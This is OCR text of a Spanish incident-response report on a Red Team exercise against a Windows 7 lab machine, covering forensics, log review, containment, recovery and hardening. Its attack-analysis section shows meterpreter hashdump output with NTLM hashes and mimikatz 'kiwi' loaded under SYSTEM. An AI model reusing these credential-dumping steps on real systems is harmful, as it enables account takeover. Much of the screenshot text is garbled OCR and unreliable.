L sha512_MemariaR AM 11/19/2023 12:42PM  Text Document 1KB
= 4 Libraries —
& [ Documents . volcado_de_memaria.ram 11/19/2023 12:27PM  RAW File 4,718,552 KB

Fuente: Elaboracion Propia.
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llustracion 164 Analisis de Disco Con Autopsy

Add Data Source Images/Videas Communications Gealocation Generate Report Close Case [~ @ + Keyword Lists Qi Keyword Search
- ] w U Key

Listing
CopyServer2saw_1 Host 1 Result
Table  Thumbnail

r2saw_1 Host
erverZ raw

Name Type Size (Bytes)  Sector Size (Bytes)  Timezone Device 1D
3 Copyserverzraw

Hex Text File Metadata Data Artifacts  Analysis Results

Type
Name
Program Name

Fu.ente: Elaboracion Propia.

Generacion de Informes: La herramienta permite generar informes detallados que pueden
ser utilizados para documentar el alcance del ataque y las evidencias encontradas, lo cual es crucial
para la respuesta y la mitigacion (Cybersecurity, 2020) & (Kaspersky, 2024).

Paso 2: Ampliacion del Analisis de la Situacion
1. Conocer el contexto organizacional:
o ldentificar la relevancia del sistema comprometido dentro de la infraestructura
tecnologica de la empresa.
o Evaluar el impacto del sistema comprometido en las operaciones criticas de la
organizacion. Esto incluye la identificacion de las funciones clave que el sistema
afectado soporta, como bases de datos sensibles, servidores de aplicaciones criticas

0 servicios financieros(Kaspersky, 2024).
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2. Analisis de riesgos:

o Determinar los posibles impactos del ataque desde las perspectivas de
Confidencialidad, Integridad y Disponibilidad (Modelo CIA), entendiendo
cdémo la intrusion podria afectar estos aspectos en los sistemas afectados.

o Evaluacion del dafio potencial en términos de la pérdida de datos confidenciales,
acceso no autorizado a recursos y la posible interrupcion de las operaciones
(Cybersecurity, 2020).

3. ldentificacion de activos criticos:

o Mapear los sistemas y datos que podrian estar conectados o en riesgo debido a la
propagacion del ataque.

o Priorizar los activos que requieren proteccion inmediata, asegurando que los
sistemas mas sensibles, como bases de datos de clientes o sistemas financieros, sean
asegurados de inmediato (Cybersecurity, 2020).

4. Indagacion con el usuario afectado:

o Entrevistar al usuario de forma estructurada:
= ¢ Qué estaba haciendo justo antes de notar el problema?
= ¢Realizé alguna descarga o accedio a sitios web no confiables?
= ¢ Aparecieron ventanas emergentes, errores 0 comportamientos inusuales en

el sistema?

= ¢ Qué aplicaciones o archivos utilizé recientemente?(Kent et al., 2006b)

o Analizar la cuentay las actividades del usuario:
= Revisar logs de autenticacion y permisos asociados a la cuenta para

identificar posibles anomalias(Kent et al., 2006b).
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llustracion 165 Revision de logs de autenticacion

Palabra... Fechay hora
@, Audi.. 20/11/2024 12:33:47 p.m.
A, Audi... 20/11/2024 12:33:47 p.m.
@, Audi... 20/11/202412:33:47 p.m.

i 20/11/2024 12:33:46 p.m.
20/11/2024 12:33:46 p.m.
20/11,/2024 12:33:46 p.m.
20/11/2024 12:33:46 p.m.
20/11/2024 12:33:46 p.m.
19/11,/2024 10:47:12 p.m.
19/11/2024 10

Origen Id. del ...

Auditoria de seguridad de ...
Auditoria de seguridad de ...
Auditeria de seguridad de ...
Auditoria de seguridad de ...
ad de ...
Auditoria de seguridad de ...

Auditoria de segu

Auditoria de seguridad de ...
Auditoria de seguridad de ...
Auditoria de seguridad de ...
Ewventlog
Auditoria d
Auditoria de segu

4624
4572
4624
4672
4524
4902
4624
4508
4647

Categoria de la tarea

Inicio de sesidn

Inicio de sesién especial

Inicio de sesion

Inicio de sesidn especial

Inicio de sesién

Cambio en la directiva de auditoria
Inicio de sesidn

Cambio de estado de seguridad
Cerrar sesign

Cierre del servicio

Inicio de sesion

19/11/2024 05:07:19 p.m. Auditoria de seguridad de ... 4634 Cerrar sesidn
19/11/2024 05:07:17 p.m. Auditoria de seguridad de ... 4624 Inicio de sesidn
19/11,/2024 05:07:17 p.m. Auditoria de seguridad de ... 4672 Inicio de sesion especial
19/11/2024 04:57:06 p.m. Auditoria de seguridad de ... 4672 Inicio de sesidn especial
19/11/2024 04:57:06 p.m. Auditeria de seguridad de ... 4624 Inicioc de sesién
19/11,/2024 04:57:06 p.m. Auditoria de seguridad de ... 4672 Inicio de sesion especial
19/11/2024 04:57:06 p.m. Auditoria de seguridad de ... 4624  Inicio de sesidn
19/11/2024 04:29:12 p.m. Auditeria de seguridad de ... 4672 Inicio de sesién especial
19/11/2024 04:29:12 p.m. Auditoria de seguridad de ... 4624 Inicio de sesidn
19/11/2024 04:27:44 p.m. Auditoria de seguridad de ... 4634 Cerrar sesidn
1971172024 04:27:44 p.m Auditoria de seauridad de 4624 Inicio de sesidn

Evento 4672, Auditoria de seguridad de Microsoft Windows.

General | Detalles

I ISe asignaron privilegios especiales a un nuevo inicio de sesién. I

Nombre de registro:  Seguridad

Origer: Auditoria de seguridad de Microso Registrado:

Id. del evento: 4672 Categoria de tarea:
Mivel: Informacian Palabras clave:
Usuario: Mo disponible Equipo:

19/11/2024 06:09:45 p.m.
Inicio de sesion especial
Auditoria correcta

PC202006

Fuente: Elaboracién Propia.

llustracion 166 Cuentas encontradas en el equipo

Rodrigo_Mendez

Fuente: Elaboracion Propia.

llustracion 167 Carpetas encontradas en el escritorio

BB wWin7-SE2020-%X64 [Corriendol - Oracie \

A 2

usuario

Fuente: Elaboracion Propia.
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o Establecer una linea de tiempo basada en las respuestas del usuario para
determinar el rango de tiempo probable en el que el ataque comenzé (Kent et al.,

2006b).

lustracion 168 Estableciendo linea de tiempo

Seguridad MNimero de eventos: 536

Palabra... Fechay hora Origen 1d.del .. Categoria dela tarea

@, pudi.. 21/11/202612:30:21 a.m. Auditoria de seguridad ... 463 Cerrar sesion B

A Audi.. 21711/202412:30:20 a.m. Auditorfa de seguridad ... 4672 Inicio de sesién especial

@Q_fudi.. 21/11/202412:30:20 a.m. Auditoria de seguridad ... 4

@ Audi.. 21/11/202412:30:20 am. Auditorfa de seguridad .. 4 Filtrar registro actual [=]

@ Audi.. 20112024 08:07.01 p.m. Auditoria de seguridad ... 4 [Fiwo Daa |

@, Audi.. 20/11/20240807.01 p.m, Auditorfa de seguridad ... 4

A Audi.. 20/11/2024 08:07:01 p.m. Auditoria de seguridad ... 4 | Registrade: | [Intervele personalzadon. -

@, Audi.. 20A11/202401:0349 pm, Auditorfa de seguridad ... 4 | Nivel det evertor

2 Audi. 20/11/202401:0349 p.m, Auditorfa de sequridad ... 4 veldel evento: [T Critico [[] Advertencia  [] Detallado -
[ Emor [ Informacién x

General | Detalles ® Registros de eventos: |Segur|[la[l

Origenes del evento: | =)

Incluye o excluye 2 los id. de evente: escriba nimeros o intervales de id. separados por
comas. P Jui éd un 1,3599,-

ara excluir algiin criterio, antecédalo con un signo de menos. £j:1,3,5-99,76

«Tedos los id. de evento>

Categoria de la tarea: |

Palabras clave | =
Usuario: <Todos los ususrios luigispasainats G|
et Todos los squipor Especifique un intervalo de fechas personalizado para el filtro.

De: Er12004 O] 123438am. =
A 212004 @] 123438 am. =
Nombre de registro:

G

Id. del evento: Categoria de tarea:
Nivel: Palabras clave:
Usuario: Eauipo: ‘

Fuente: Elaboracion Propia.
Paso 3: Notificacion y Coordinacion

1. Informar a los equipos responsables:
o Contactar al Equipo de Respuesta a Incidentes (CSIRT) con un resumen inicial
del ataque para que coordinen las acciones de respuesta y mitigacion.
o Involucrar al Equipo de TI para aislar la infraestructura afectada y asegurar los
sistemas vulnerables.
o Notificar al Equipo de Seguridad para ajustar medidas preventivas, como

modificar configuraciones de IDS/IPS(Cichonski et al., 2012).
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llustracion 169 Modificar configuraciones del IDS/IPS

=i Fwgrupoas.unadesp.ar

= o] O a 192,168.10,84 'pkg myg alled.ph o @ E'l =
Rlisense

WARNING: The 'admin’ account password is se1 10 the default value, Change the password in the Uiser Manager,
System / Package Manager / Installed Packages 7]
Installed Packages Avallable Packages

Installed Packages

Name Category Version Description Actions
o SNOM Security  4.1.6.14  Snoftis an open souTcE REtwrK intrusion prevention and detestion system (IDS/PS). Combining the benefits of signature, pratocol and I £33
anomaly-based inspection. i

Package Dependencies:

e~ = Update & = Current

Tl = Remove 1 = Information €3 = Reinstall

Package is configured but not (fully) installed or deprecated

Fuente: Elaboracion Propia.
2. Proveer un informe inicial a la alta gerencia:
o Detallar la naturaleza del ataque, los sistemas afectados y el impacto potencial en

las operaciones de la empresa (Cichonski et al., 2012).

llustracion 170 informe inicial

Fuente Tomado de: https://www.freepik.es/fotos-premium/grafico-documentos-comerciales-

informe-finanzas-analisis-estadistico-e-informacion-inversion-graficos-computadora-portatil-

escritorio-oficina 29900527.htm
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3. Comunicar al personal interno:
o Enviar instrucciones claras a los empleados sobre cémo evitar interactuar con el
sistema comprometido, asegurandose de que no se propaguen infecciones

adicionales (Cichonski et al., 2012).

llustracion 171 informar a los colaboradores sobre como actuar ante un incidente de seguridad

Fuente Tomado de: https://qeprodat.com/actualidad /

Paso 4: Analisis del Ataque
1. Identificacion del vector de ataque:
o Revisar los logs y el trafico de red para determinar como el atacante logré ingresar

al sistema (Kent et al., 2006a).

llustracion 172 Tréfico de red

& 192.168.5.1

848796 192.168.5.165 192.168.5.182 e
76 192 1‘\! S ‘EZ 192.168.5.165 Tee
7 192,168.5.162
182.168.5.1

| _EN

318

"2

423372.1296"'11 492 163 5.165 §8.5.162 e

4293121 13 192,168.5.1802 9,185 TP -

438372,1634 48 192,168.5.165 .5.102 P bl 3-1444 - 43184 [PSH,

431 372.236652107 192.168.5.182 1 5185 TP 238 49184 - 4444 [PSH, Seq'

432 372, 2371663133 192.168.5.165 182.168.5.182 TP 162 4444 - 23184 [PSH, A 126
433 372.299368900 192.168,5.162 192.168.5.165 TP 596 49184 - & g k‘

434 372, 347177366 132.168.5.165 192.168.5.162 e 54 4444 - 9184

435 372, 35062487 192.168.5.185 182.168.5.182 e 198 4444 - 431
436 372.468855692 192.168.5. 182 192.168.5.165 e 230 49184 -

{13 vZ 459182562 192.168.5.165 192.168.5.1682 Tee S4u .8
2449 192.168.5.165 192.168.5.162 Tee 198 4444 ..‘. !
76 192.168.5.10 192.168.5.165 e 198 49184
1 192.168.5,165 192.168.5.182 5“4.. -
TR 2104

.uu L.cx Seq=

Fuente: Elaboracmn Propia.
o Analizar los procesos en ejecucién para detectar actividad sospechosa relacionada

con Msfvenom o herramientas como Mimikatz (Kent et al., 2006a).
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llustracién 173 Extraccion de Hash

meterpreter

ump
500 Jaad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0@c@89cO :

002 :aad3b435b51404eeaad3b435b51404ee:194dee678b665037F201cfd2dac2f93f :::
21.2ad30435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089cO :::
aad3b435b51404eecaad3b435b51404ee:971aeb95d2795920131d7b19e43ef198 :::

usuario: 1001:aad3b b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢cB :::
meterpreter >

Fuente: Elaboracion Propia.

llustracion 174 detectar actividad sospechosa

Shell No. 1

Edit View Help

Fuente: Elaboracion Propia.

lHustracion 175 Payload Kiwi

meterpreter > getuid
Server usernar NT AUTHORITY\SYSTEM

requires the "kiwi"” extension to be loaded (run: “load kiwi™)

mimikatz 2.2.0 20191125 (x64/windows)

"A La Vie, A L'Amour” - (oe.eo0)

/**x% Benjamin DELPY “gentilkiwi”~ ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letouxagmail.com )
> http://pingcastle.com / http://mysmartlogon.com #**%/

Fuente: Elaboracion Propia.
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2. Determinacion del dafo:

o Verificar cambios en archivos criticos y configuraciones del sistema que puedan

haber sido alteradas (Kent et al., 2006a).

llustracion 176 Verificacion de Software

@uvh‘fh + Panel de control » Programas » Programas y caracteristicas v|¢,|’?

Ventana principal del Panel de

control Desinstalar o cambiar un programa

o _ Para desinstalar un programa, selecciénelo en la lista y después haga clic en Desinstalar, Cambiar o Reparar.
Ver actualizaciones instaladas

'E‘i' Activar o desactivar las

caracteristicas de Windows X
Organizar «

Nombre Editor Seinstalé el Tamafio Version
[62]7-Zip 19.00 (x64) Igor Paviov 26/06/2020 496 MB  19.00
& Mozilla Firefox ESR (164 es-ES) Mozilla 21/11/2024 220MB  11517.0
1) Mozilla Maintenance Service Mozilla 26/06,/2020 328KB 7701
[°] Oracle VM VirtualBox Guest Additions 6.1.10 Oracle Corporation 26/06,/2020 6.1.10.0

Fuente: Elaboracion Propia.

o Evaluar la posibilidad de exfiltracion o cifrado de datos sensibles(Kent et al.,

2006a).

lHustracion 177 investigacion de brechas de seguridad

Fuente: Elaboracion Propia.

Paso 5: Contencién y Erradicacion
1. Eliminar amenazas activas:
o Finalizar procesos maliciosos detectados y bloguear las conexiones activas
sospechosas que el atacante haya utilizado para mantener el acceso al sistema (Kent

et al., 2006a).
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llustracion 178 Eliminacién de procesos maliciosos

endo] - O

Administrader de tareas de Windows

Archive Opciones Ver Ayuda

| Aplicaciones | Procesos | servicios | Rendimiento | Funciones de red | Usuarios

Mombre de imagen Mombre de usuario CPU  Memoria ... Descripcién

audiodg.exe SERVICIO LOCAL [a]s) 9.852 KB Aislamiento de gréficos de dispositivo de audio de Windows
CSrss.exe SYSTEM oo 1.292 KB Proceso en tiempo de ejecuddn del diente-servidor
CSrSsS.exe SYSTEM oo 1.260 KB Proceso en tiempo de ejecucidén del diente-servidor
dwm.exe usuario oo 1.112 KB Administrador de ventanas del escritorio
explorer.exe usuario oo 24604 KB Explorador de Windows

Isass.exe SYSTEM oo 2.700 KB Local Security Authority Process

Ism.exe SYSTEM oo 1.235 KB Servido de administrador de sesidn local

Proceso inactivo del si... SYSTEM 99 24KB Porcentaje de tiempo de inactividad del procesador
SearchIndexer.exe SYSTEM oo 5.392 KB Indizador de Microsoft Windows Search
services.exe SYSTEM oo 4.4904 KB Aplicacion de servidos y controlador

SMSS.exXe SYSTEM oo 292 KB Administrador de sesién de Windows

spoolsv.exe SYSTEM oo 4. 104 KB Aplicacidén de subsistema de cola

sppsve.exe Servidio de red oo 5.380 KB Servidio de plataforma de proteccién de software de Microsoft
svchost.exe SERVICIO LOCAL oo 4.528 KB Proceso host para los servicios de Windows
svchost.exe SYSTEM oo 2.880 KB Proceso host para los servidos de Windows
svchost.exe Servicio de red oo 2.908 KB Proceso host para los servicios de Windows
svchost.exe SERVICIO LOCAL oo 13.952 KB Proceso host para los servicios de Windows
svchost.exe SYSTEM oo 64.420 KB Proceso host para los servicios de Windows
svchost.exe SYSTEM oo 13.512 KB Proceso host para los servicios de Windows
svchost.exe Servido de red oo 4.9490 KB Proceso host para los servicios de Windows
svchost.exe SERVICIO LOCAL oo 5.784 KB Proceso host para los servicios de Windows
svchost.exe SYSTEM oo 14.4900 KB Proceso host para los servicios de Windows
svchost.exe SERVICIO LOCAL oo 4.488 KB Proceso host para los servidos de Windows
svchost.exe Servicio de red oo 1.260 KB Proceso host para los servicios de Windows
System SYSTEM oo 112 KB MNT Kernel & System

taskhost.exe usuario oo 2.08494 KB Proceso de host para tareas de Windows
taskmar.exe usuario oo 1.768 KB Administrador de tareas de Windows
VBoxService.exe SYSTEM oo 2.220 KB VirtualBox Guest Additions Service

WBoxTray.exe usuario oo 1.832 KB virtualBox Guest Additions Tray Application

wininit. exe SYSTEM oo o975 KB Aplicacidén de inicio de Windows

winlogon. exe SYSTEM oo 1.728 KB Aplicadion de inicio de sesion de Windows
wmpnetwk.exe Servicio de red oo 4.420 KB Servicio de uso compartido de red del Reproductor de Windows Media

Fuente: Elaboracion Propia.
2. Aplicar medidas correctivas:
o Actualizar software vulnerable y desinstalar aplicaciones comprometidas. Pero

para windows 7 ya no hay soporte (Cichonski et al., 2012).

llustracion 179 Actualizacion de windows 7

» Panel de control » Sistemay seguridad » Windows Update .

€1

Ventana principal del Panel de

control Windows Update

Buscar actualizaciones

Cambiar configuracion ‘P§) Buscar actualizaciones para el equipo

Ver historial de actualizaciones he Instale siempre las actualizaciones mas recientes para mejorar la sequridad y el
di to del ipo.

Restaurar actualizaciones rendimiento del equipa

Actualizaciones: preguntas

mas frecuentes
Bisqueda mas reciente de actualizaciones: Munca
Se instalaron las actualizaciones: Munca
Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productes de Microsoft, Mas informacian

3. Fuente: Elaboracion Propia.
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o Implementar politicas de rotacidn de credenciales para mitigar el riesgo de que
los atacantes continden utilizando contrasefias comprometidas(Cichonski et al.,

2012).

llustracion 180 Politicas de seguridad MFA

] 23 account.live.com/proofs/manage/additional?mkt=es-ES&refd =account. microsoft.com&refp =securityBuaid =d11cacead2fd4850b9fc3f349b7ed592

Ultima modificacion  03/10/2024 Usado para Inicio de sesion con cuenta
Cambiar
contrasefia Ver actividad
> [E1 Envio de un codigo por correo electrénico ing.rodrigomendezk@gmail.com @ Actualizado
> [ envio de un cédigo por mensaje de texto —— © Actualizado
) |} Envio de una notificacién de inicio de sesion @ Actualizado

@ Agregar un nuevo método de inicio de sesion o verificacion

Seguridad adicional

Para aumentar la seguridad de su cuenta, quite la contrasefia o requiera dos pasos para iniciar sesion

Cuenta sin contrasefias © Verificacién en dos pasos
. DESACTIVADO ACTIVADO
X
Activar Desactivar

Fuente: Elaboracion Propia.
llustracion 181 Politicas de seguridad Activacion de Windows Hello

Agregar un nuevo método de inicio de *
sesion o verificacion

O Cara, huella digital, PIN o clave de
seguridad

C? Use el dispositivo para iniciar sesion @
con una clave de paso.

Usar una aplicacién
Permite aprobar las notificaciones de

inicio de sesién rapidamente en el
teléfono.

Envio de un cédigo por correo
electrénico

Obtenga un correo electrénico e inicie
sesion con un codigo.

Mostrar mas opciones

Fuente: Elaboracion Propia.
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llustracién 182 Rotacion de credenciales

Buscar en el Pane

@uv@ < Cuentas de usuario y proteccion infantil » Administrador de credenciales - | 3 |

Ventana principal del Panel de . P P fa:
mane Almacenar credenciales para inicio de sesion automatico

Use el Administrador de credenciales para almacenar credenciales, comeo nombres de usuario y contrasefias,
en almacenes para poder iniciar sesion facilmente en equipos o sitios web.

Almacén de

credenciales de
| F| Windows
) l | Ubicacién

" predeterminada del
almacén

urar almacén

Credenciales de Windows

Agregar una credencial de Windows)

Mo hay credenciales de Windows,

Credenciales basadas en certificados Agregar una credencial basada en certificado

Mo hay certificados,

Credenciales genéricas Agregar una credencial genérica

Vea también Mo hay credenciales genéricas.

Cuentas de usuario

Vincular identificadores en
linea

Fuente: Elaboracion Propia.

llustracion 183 Cambio de contrasefias al inicio de la primera sesion iniciada

Muevo objeto: Usuario -‘
; Crear en: RIMK local /Gerente o
i ]
Contraseria: |............. |

Confimmar contrasefia: |..o..........| |

[ Bl usuario debe cambiar la contraseria en el siguiente inicio de sesidn ]

|| B usuaro no puede cambiar la contrasena
[] La contrasefia nunca expira

[] La cuenta esta deshabilitada

| < Atrds | Siguiente = | | Cancelar

Fuente: Elaboracion Propia.

4. Fortalecer la seguridad:
o Reforzar configuraciones de firewall y politicas de contrasefias.

o Implementar autenticacion multifactor (MFA) para las cuentas criticas(Foulds

et al., 2023) & (Cybersecurity, 2020).
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Paso 6: Recuperacion
1. Restaurar sistemas desde respaldos seguros:

o Validar la integridad de las copias de seguridad antes de restaurar, asegurandose

de que no contengan malware o configuraciones comprometidas (Cichonski et al.,

2012).

llustracion 184 Restauracion del sistema

% Instalar Windows

:A
Windows 7

e

Formato de hora y moneda: [SRELEINZREL ERTITI LT

Teclado o método de entrada: Espadiol

Especifique el idioma y las preferencias adicionales y después haga clic en "Sie

Copyright ® 2009 Microsoft Corporation. Reservados todos los derechos. - gu‘m’se
i

Fuente: Elaboracion Propia.

2. Actualizar y parchar sistemas:

o Asegurarse de que todos los sistemas restaurados tengan las actualizaciones de

seguridad mas recientes aplicadas para evitar vulnerabilidades conocidas (Force,

2020) .

llustracion 185 Actualizacion del sistema
» Sisterna y seguridad » Windows Update

Windows Update

_ = . . .
|@ Windows no pudo buscar nuevas actualizaciones.
Error a | buscar nuevas actualizaciones
Intentar de nuevo

para su equipo.

Errores encontrados:
comprobar las actualizaciones.

Cédigo 8024001F  Mecesita conectarse a Internet para
Obtener ayuda para este error

Munca
MNunca
Sélo para Windows

Busqueda mas reciente de actualizaciones:
Se instalaron las actualizaciones:
Recibe actualizaciones:

Obtener actualizaciones para otros productos de Microsoft. Més informacién

Fuente: Elaboracion Propia.
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Paso 7: Prevencion y Mejora Continua
1. Documentar el incidente:
o Elaborar un informe detallado sobre el ataque, la respuesta y las medidas

correctivas tomadas (Cichonski et al., 2012).

llustracion 186 Informe detallado del incidente

Fuente: Elaboracion Propia.
2. Implementar medidas preventivas:
o Evaluar la infraestructura para identificar posibles debilidades y reforzar los

puntos de fallo (Force, 2020).

lustracion 187 Red corporativa CyberFort Technologies

L DMZDESERVIDORES camz” cama”
24
idor End

semidorweb ool DTESRTS L eridor Endpoift

Gontrol de o idad <z © canz Sarvidor Diractoric
servidor £0 actvo
| | o H ig gl g
‘‘‘‘‘‘‘‘‘‘‘‘ co
E centro de - 5
- Servidor roxy servider corrso servidor file
Datos

o

Elsctranico

Puarta da seguri
T |

cam1

Fuente: Elaboracion Propia.
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o Capacitar al personal en mejores practicas de seguridad, asegurando que estén

preparados para detectar y prevenir futuros ataques (Cybersecurity, 2020).

llustracion 188 Capacitacion al personal en seguridad informatica

B T S R

Fuente: Elaboracion Propia.
o Revisar las politicas de seguridad e implementar controles adicionales (por

ejemplo, CIS Benchmarks) para fortalecer las defensas (CIS, 2024b).

llustracion 189 Tablero de Ciberseguridad

Overall Progression Critical Risks Identified Highlights
Global 29 ighlig
et

" 3 - Note 1

+ Mote 2

. 85% 35%
Cybersecurity o b
Cybersecurity Initiatives

narsienss

re— ooan

Waligious Activiies Delecton p—

Reports and Metrcs Elaboration nceing ™ onng

Govemance neing [ on e

Compliance Patches

0% 0%

25%’ a 75% 25%’ a 5%

0% £ 100% % . 100%
66% 80%

This graph/chart is linked to excel, and changes automatically based on data. Just left click on it and select “Edit Data’

Fuente Tomado de: https://www.slideteam.net/blog/las-10-mejores-plantillas-de-tableros-de-seguridad-cibernetica-con-

muestras-y-ejemplos?lang=Spanish
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También se debe tener en cuenta los siguientes planes:
Plan de Recuperacién de Desastres:
1. Objetivo:
o Recuperary restaurar los servicios criticos a la normalidad lo méas rapido posible.
o Restauracion desde copias de seguridad: Verificar que las copias de seguridad
no estén comprometidas y restaurar los sistemas afectados.
o Parches y actualizaciones: Asegurarse de que todos los sistemas estén
actualizados con los ultimos parches de seguridad (Services, 2024).
2. Consideraciones clave:
o Evitar restaurar sistemas desde copias de seguridad que puedan contener malware
0 archivos comprometidos.
o Pruebas de integridad: Asegurar que los datos restaurados estén libres de malware

(Services, 2024).

llustracion 190 Plan recuperacion de desastres

‘"®v )
| | W -

Fuente Tomado de: https://www.freepik.es/vector-premium/control-calidad-controlar-
certificado-estandar-iso-empresarial-aceptar-documentos-validacion-o-autorizacion-personas-
trabajo-planas-concepto-vectorial-total-ilustracion-garantia-control-calidad-
empresarial 23254082.htm
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Plan de Continuidad del Negocio (BCP):
1. Objetivo:
o Asegurar la continuidad de las operaciones criticas durante y después de un ataque.
o Redundancia: Contar con sistemas de respaldo o servidores en caso de que el
ataque cause una interrupcion significativa.
o Accesos remotos: Asegurar que los empleados puedan continuar operando desde
ubicaciones alternativas o mediante accesos seguros (VPN, MFA) (Services, 2024).
2. Recuperacion de servicios no afectados:
o Asegurarse que los servicios que no fueron comprometidos continen funcionando
mientras se mitiga el ataque en los sistemas afectados (Services, 2024).
¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team, qué medidas de
hardenizacion propondria para que el ataque no se repita?
e Medidas de Hardening para Fortalecer la Seguridad y Prevenir Repeticion de Ataques
Las medidas de hardening son cruciales para fortalecer la seguridad de los sistemas y evitar
que los atacantes exploten las mismas vulnerabilidades en futuras intrusiones. A continuacion, se
describen las acciones clave para mitigar las vulnerabilidades explotadas durante un ataque y
reforzar las defensas del sistema afectado:
1. Fortalecimiento de la Seguridad en Windows 7 (considerando su falta de soporte)
o Migracion a sistemas mas seguros: La migracion urgente a versiones mas seguras, Como
Windows 10 o Windows 11, es fundamental, ya que Windows 7 esta obsoleto y ya no
recibe actualizaciones de seguridad, lo que lo hace susceptible a ataques modernos

(Matarazzo, s. f.).
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Si la migracién no es posible, se deben aplicar medidas de seguridad adicionales:

o Deshabilitar SMBv1: Este protocolo es vulnerable y utilizado en ataques de movimiento

lateral como Pass the Hash. Deshabilitarlo puede prevenir la explotacién de esta
vulnerabilidad (Matarazzo, s. f.).

Configurar politicas de seguridad mas estrictas: Desactivar la ejecucion automatica de
scripts y deshabilitar macros maliciosas en archivos de Office puede evitar que se ejecuten
ataques basados en documentos comprometidos (Matarazzo, s. f.).

Segmentacion de la red: Aislar equipos mas antiguos (como Windows 7) en una VLAN
separada, con monitoreo constante, ayudara a prevenir la propagacion del ataque (CIS,

2024¢).

2. Revision y Fortalecimiento de Contrasefias y Autenticacion

Contrasefias fuertes y politicas de rotacion: Implementar contrasefias robustas y
politicas de rotacion periddica para evitar que las credenciales comprometidas sigan siendo
utilizadas.

Autenticacion multifactor (MFA): La implementacion de MFA en cuentas criticas
asegura que los atacantes no puedan acceder a sistemas con solo conocer las credenciales.
Deshabilitar cuentas no utilizadas: Las cuentas de usuario que no se usen deben ser
deshabilitadas y los privilegios restringidos para evitar que se exploten en un ataque(Force,
2020).

Rotacion de contrasefias y gestion de credenciales: Utilizar soluciones de gestion de
contrasefas para evitar la exposicion de credenciales en texto claro.

Control de cuentas de usuario (UAC): Habilitar UAC y configuraciones de contrasefias

fuertes puede prevenir la escalada de privilegios no autorizada(Force, 2020).
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e Deshabilitar NTLM y habilitar SMB Signing: Estas medidas dificultan ataques como
Pass the Hash, reduciendo la efectividad de técnicas de movimiento lateral(Force, 2020).
o Laimplementacion de BitLocker y otras herramientas de cifrado de discos es una medida
efectiva de hardening para proteger los datos almacenados contra accesos no autorizados,
incluso en caso de pérdida o robo de dispositivos (Matarazzo, 2024).
3. Deteccidn de Herramientas Maliciosas (como Mimikatz y Kiwi)
e Herramientas de deteccion de endpoint (EDR): Implementar sistemas EDR para
detectar y blogquear herramientas maliciosas como Mimikatz y Kiwi que son cominmente
usadas para la escalada de privilegios(Al-Ateeq, 2021).
e Politicas de Grupo (GPO): Restringir el uso de herramientas no autorizadas mediante
GPO y bloguear la ejecucion de archivos binarios sospechosos o desconocido (Orin, 2024).
4. Fortalecimiento de las Medidas de Prevencién y Monitoreo de Red
e Seguridad en el perimetro:
o Implementar firewalls para restringir el acceso a puertos innecesarios como SMB
y RDP (Microsoft, 2024a).
o Configurar IDS/IPS para detectar patrones de trafico relacionados con herramientas
de ataque, como Msfvenom y comunicaciones C&C (IBM, s. f.).
5. Implementacion de Control de Acceso
e Principio de Minimos Privilegios: Limitar el acceso a recursos criticos solo a los usuarios
que lo necesiten, evitando que las cuentas de usuario tengan privilegios excesivos
(Cloudflare, s. f.-b).
e Acceso remoto restringido: Restringir el acceso remoto mediante RDP y VNC utilizando

VPN y MFA para acceder a los sistemas internos de forma segura (Goretsky, 2020).
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6. Actualizacion de Software y Parches de Seguridad

Asegurarse de que todos los sistemas y aplicaciones estén actualizados con los parches de
seguridad mas recientes para prevenir la explotacion de vulnerabilidades conocidas.
Configurar actualizaciones automaticas para aplicaciones criticas y realizar auditorias
regulares de seguridad para asegurarse de que no existan brechas de seguridad (Microsoft,
s. 1.).

También se debe implementar una linea base de aplicaciones para los equipos
corporativos

Las Windows Security Baselines son configuraciones recomendadas por
Microsoft que proporcionan un conjunto de ajustes de seguridad para Windows y Windows
Server. Estas configuraciones estan disefiadas para ayudar a las organizaciones a mantener
sus dispositivos seguros y cumplir con los estandares de seguridad necesarios. Las lineas
base, se basan en el conocimiento de los equipos de ingenieria de seguridad de Microsoft,
grupos de productos, socios y clientes (Pamnani & Matarazzo, 2024).
Puntos Clave:
Propdsito: Proporcionar configuraciones de seguridad estandarizadas y bien probadas para
aumentar la flexibilidad y reducir costos.
Aplicacion: Adecuadas para organizaciones bien gestionadas y conscientes de la
seguridad, donde los usuarios estandar no tienen derechos administrativos.
Implementacion: Se recomienda implementar estas configuraciones estandarizadas en
lugar de crear las propias, ya que son ampliamente conocidas y evaluadas.
Beneficios: Ayudan a mitigar amenazas de seguridad contemporaneas sin causar

problemas operativos mayores (Pamnani & Matarazzo, 2024).
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7. Medidas de Seguridad Adicionales

o Utilizar tecnologias de antivirus y antimalware para escanear archivos compartidos y

detener la propagacion de archivos maliciosos en la red (IONOS, 2023).

8. Acciones Adicionales a Considerar

o Desinstalar Rejetto HFS: Actualizar o eliminar Rejetto HFS, ya que es una herramienta

vulnerable que puede ser facilmente explotada en combinacion con otras herramientas

como Metasploit(Cunha, 2023b).

¢Describa con sus palabras las diferencias entre un equipo Blueteam y un equipo de

respuesta a incidentes informaticos?

lHustracion 191 Diferencias entre el equipo Blueteam y el equipo de respuesta a incidentes

e

Enfoque principal

Objetivo

Responsabilidades

Accidén durante el ataque

Tipo de medidas tomadas

Defensa proactiva: prevenciony
monitoreo constante.

Prewvenir ataques antes de que
ocurran.

- Implementacion de medidas de
seguridad.

- Mejora continua de la
infraestructura.

- Monitoreo constante de la red y
sistemas.

- Actualizacion de firewalls, IDS/IPS,

v parches.
- Analisis de riesgos y planificacion
preventiva.

- ldentificacién y mitigacion de
vulnerabilidades.

- Refuerzo de la seguridad
perimetral (firewalls, WPMN).

- Formacion del personal en buenas
practicas.
Preventivas:

- Reforzamiento de contrasenas.

- Despliegue de sistemas de
deteccion.

Respuesta reactiva: manejo de incidentes
wremediacion.

Minimizar el impacto del ataque ya en
Curso.

- Contencion del ataque.

- Investigacion del incidente.
- Mitigacion de efectos.

- Restauracién del sistema

comprometido.

- Analisis forense para identificar la causa
del ataque.

- Respuesta a incidentes especificos
{ataques en curso).
- Contencidnyerradicacion de la

ameenaza.

- Comunicacidon con otros equipos de
seguridad.
Correctivas:

